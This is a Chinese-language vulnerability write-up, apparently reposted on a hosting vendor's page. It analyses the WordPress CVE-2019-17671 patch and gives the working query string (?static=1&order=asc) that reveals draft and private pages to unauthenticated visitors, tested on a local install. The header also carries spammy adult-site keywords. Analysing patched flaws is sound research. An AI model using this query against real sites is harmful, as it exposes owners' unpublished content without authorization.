国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務商,CNNIC和CANN雙認證域名注冊商,已經
持續(xù)為500多萬個域名提供服務,包括智能DNS/自由轉移/隱私保護等服務!
CVE-2019-17671:如何查看WordPress未授權文章
2019-11-29 16:33:09 【

近期,WordPress發(fā)布了最新的v5.2.4版本,并修復了很多安全漏洞。在這篇文章中,我們將對其中的一個漏洞CVE-2019-17671進行分析。

信息收集

該漏洞由安全專家J.D.Grimes發(fā)現并上報,并且披露了如何利用該漏洞查看未授權文章的方法。但是目前我還找不到任何相關的PoC,因此首先我們需要盡可能地收集關于該漏洞的信息。首先,我查看了不同安全廠商關于該漏洞的聲明,大部分廠商都引用了相同的一句話:“該漏洞也許可以允許他人查看WordPress中未授權的文章”。

參考資料

1、https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html

2、https://blog.wpsec.com/wordpress-5-2-4-security-release/

3、https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/

根據收集到的信息,我在WordPress的SVN倉庫/GitHub庫中,找到了5.2-branch分支,點擊最近的commit,然后查看提到了“unauthenticated posts”或者“viewing posts”的相關commit。此時,我找到了一個相關的commit:f82ed753cf00329a5e41f2cb6dc521085136f308。

補丁分析

這一個commit只修改了兩行代碼,刪除了static關鍵字,并修改了部分if條件語句:


根據我的猜想,被刪除的static關鍵字跟這個漏洞有著直接的關系。wp-includes/class-wp-query.php的第731行代碼開始包含parse_query函數了,而該函數可以過濾并解析傳入的所有查詢參數($_GET)。

從第696行到第922行的代碼可以根據給定的參數來設置$this->is_single、$this->is_attachment以及$this->is_page。這些條件分支都基于else if實現,但其中只有一個比較關鍵:


// If year, month, day, hour, minute, and second are set, a single

   // post is being queried.

   } elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {

$this->is_page   = true;

$this->is_single = false;

   } else {

   // Look for archive queries. Dates, categories, authors, search, post type archives.


我們肯定不是想設置attachment、name、p或者hour之類的參數,因為這些參數可以繞過代碼中的條件分支。但是我們又不能直接設置pagename或page_id,因為我們并不知道這些參數的值,而且些參數將可能導致訪問控制檢查失效。

這里,我們需要在參數列表中使用static=1。研究了半天之后,我找到了get_posts()函數,而這個函數可以使用已解析的參數來查詢數據庫內容:


publicfunctionget_posts(){

global $wpdb;

   $this->parse_query();

   [..]


在多個位置使用var_dump調試后,我找到了下列代碼:


// Check post status to determine if post should be displayed.

           if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {

               $status = get_post_status( $this->posts[0] );

               if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {

                   $this->is_page       = false;

                   $this->is_single     = true;

                   $this->is_attachment = true;

               }

               $post_status_obj = get_post_status_object( $status );

               //PoC: Let's see what we have

               //var_dump($q_status);

               //var_dump($post_status_obj);

               // If the post_status was specifically requested, let it pass through.

               if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

                   //var_dump("PoC: Incorrect status! :-/");

                   if ( ! is_user_logged_in() ) {

                       // User must be logged in to view unpublished posts.

                       $this->posts = array();

                       //var_dump("PoC: No posts :-( ");

                   } else {

                       if ( $post_status_obj->protected ) {

                           // User must have edit permissions on the draft to preview.

                           if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {

                               $this->posts = array();

                           } else {

                               $this->is_preview = true;

                               if ( 'future' != $status ) {

                                   $this->posts[0]->post_date = current_time( 'mysql' );

                               }

                           }

                       } elseif ( $post_status_obj->private ) {

                           if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {

                               $this->posts = array();

                           }

                       } else {

                           $this->posts = array();

                       }

                   }

               }


除了static=1之外,我們并沒有設置其他特定的查詢參數,我們在$this->posts = $wpdb->get_results($this->request);語句之前插入var_dump($this->request);,輸出的結果如下:

string(112) "SELECT   wp_posts.* FROM wp_posts  WHERE1=1AND wp_posts.post_type = 'page'ORDERBY wp_posts.post_date DESC"

該語句可以返回數據庫中的所有頁面,包括password protected、pending及drafts類別的頁面。因此,! empty( $this->posts ) && ( $this->is_single || $this->is_page )對應的值為true。

接下來,該函數會檢查第一篇文章的狀態(tài)“$status = get_post_status( $this->posts[0] );”:

if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

如果第一篇文章的狀態(tài)不是public,則將進一步執(zhí)行訪問控制檢查。比如,當用戶未經授權時,代碼將會清空$this->posts。

漏洞利用

利用該漏洞的方法也非常簡單,首先我們可以控制查詢流程,使第一篇文章的狀態(tài)為published,但返回數組中包含多篇文章。

我們首先需要創(chuàng)建一些測試頁面:即一個處于已發(fā)布狀態(tài)的頁面和一個處于草稿狀態(tài)的頁面。

這里我使用的是頁面,因為post_type=’page’是WordPress的默認設置,但如果有需要,我們可以設置&post_type=post,這樣就能修改文章類型,變成post_type = ‘post’。


目前我們知道,如果在WordPress的URL添加?static=1,即可以查看到網站的隱私內容。在訪問控制檢查代碼的前面插入var_dump($this->posts);,可以看到http://wordpress.local/?static=1這個URL會返回如下內容:


array(2) {

     [0]=>

     object(WP_Post)#763 (24) {

       ["ID"]=>

       int(43)

       ["post_author"]=>

       string(1) "1"

       ["post_date"]=>

       string(19) "2019-10-20 03:55:29"

       ["post_date_gmt"]=>

       string(19) "0000-00-00 00:00:00"

       ["post_content"]=>

       string(79) "<!-- wp:paragraph -->

   <p>A draft with secret content</p>

   <!-- /wp:paragraph -->"

       ["post_title"]=>

       string(7) "A draft"

       ["post_excerpt"]=>

       string(0) ""

       ["post_status"]=>

       string(5) "draft"

       ["comment_status"]=>

       string(6) "closed"

       ["ping_status"]=>

       string(6) "closed"

       ["post_password"]=>

       string(0) ""

       ["post_name"]=>

       string(0) ""

       ["to_ping"]=>

       string(0) ""

       ["pinged"]=>

       string(0) ""

       ["post_modified"]=>

       string(19) "2019-10-20 03:55:29"

       ["post_modified_gmt"]=>

       string(19) "2019-10-20 03:55:29"

       ["post_content_filtered"]=>

       string(0) ""

       ["post_parent"]=>

       int(0)

       ["guid"]=>

       string(34) "http://wordpress.local/?page_id=43"

       ["menu_order"]=>

       int(0)

       ["post_type"]=>

       string(4) "page"

       ["post_mime_type"]=>

       string(0) ""

       ["comment_count"]=>

       string(1) "0"

       ["filter"]=>

       string(3) "raw"

     }

     [1]=>

     object(WP_Post)#764 (24) {

       ["ID"]=>

       int(41)

       ["post_author"]=>

       string(1) "1"

       ["post_date"]=>

       string(19) "2019-10-20 03:54:50"

       ["post_date_gmt"]=>

       string(19) "2019-10-20 03:54:50"

       ["post_content"]=>

       string(66) "<!-- wp:paragraph -->

   <p>Public content</p>

   <!-- /wp:paragraph -->"

       ["post_title"]=>

       string(13) "A public page"

       ["post_excerpt"]=>

       string(0) ""

       ["post_status"]=>

       string(7) "publish"

       ["comment_status"]=>

       string(6) "closed"

       ["ping_status"]=>

       string(6) "closed"

       ["post_password"]=>

       string(0) ""

       ["post_name"]=>

       string(13) "a-public-page"

       ["to_ping"]=>

       string(0) ""

       ["pinged"]=>

       string(0) ""

       ["post_modified"]=>

       string(19) "2019-10-20 03:55:10"

       ["post_modified_gmt"]=>

       string(19) "2019-10-20 03:55:10"

       ["post_content_filtered"]=>

       string(0) ""

       ["post_parent"]=>

       int(0)

       ["guid"]=>

       string(34) "http://wordpress.local/?page_id=41"

       ["menu_order"]=>

       int(0)

       ["post_type"]=>

       string(4) "page"

       ["post_mime_type"]=>

       string(0) ""

       ["comment_count"]=>

       string(1) "0"

       ["filter"]=>

       string(3) "raw"

     }

   }


大家可以看到,數組中的第一個頁面為草稿(["post_status"]=>string(5) “draft”),因此頁面是沒有內容的:


但是,我們可以使用其他的方法來控制返回的內容:

1、order with asc or desc

2、orderby

3、m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format

4、…

在這種場景下,我們只需要顛倒返回元素的順序即可實現漏洞利用。

接下來,訪問http://wordpress.local/?static=1&order=asc,我們就可以查看到隱私內容了:


除此之外,我們還可以利用該漏洞查看password protected以及private狀態(tài)的文章:


文章轉自FreeBuf.COM


】【打印關閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇常見的網站服務器被攻擊的類型有.. 下一篇一幅漫畫告訴您什么是SQL注入?

立足首都,輻射全球,防御吧專注云防御及云計算服務15年!

聯(lián)系我們

服務熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術支持
售后服務/財務
備案專員
緊急電話:18610088800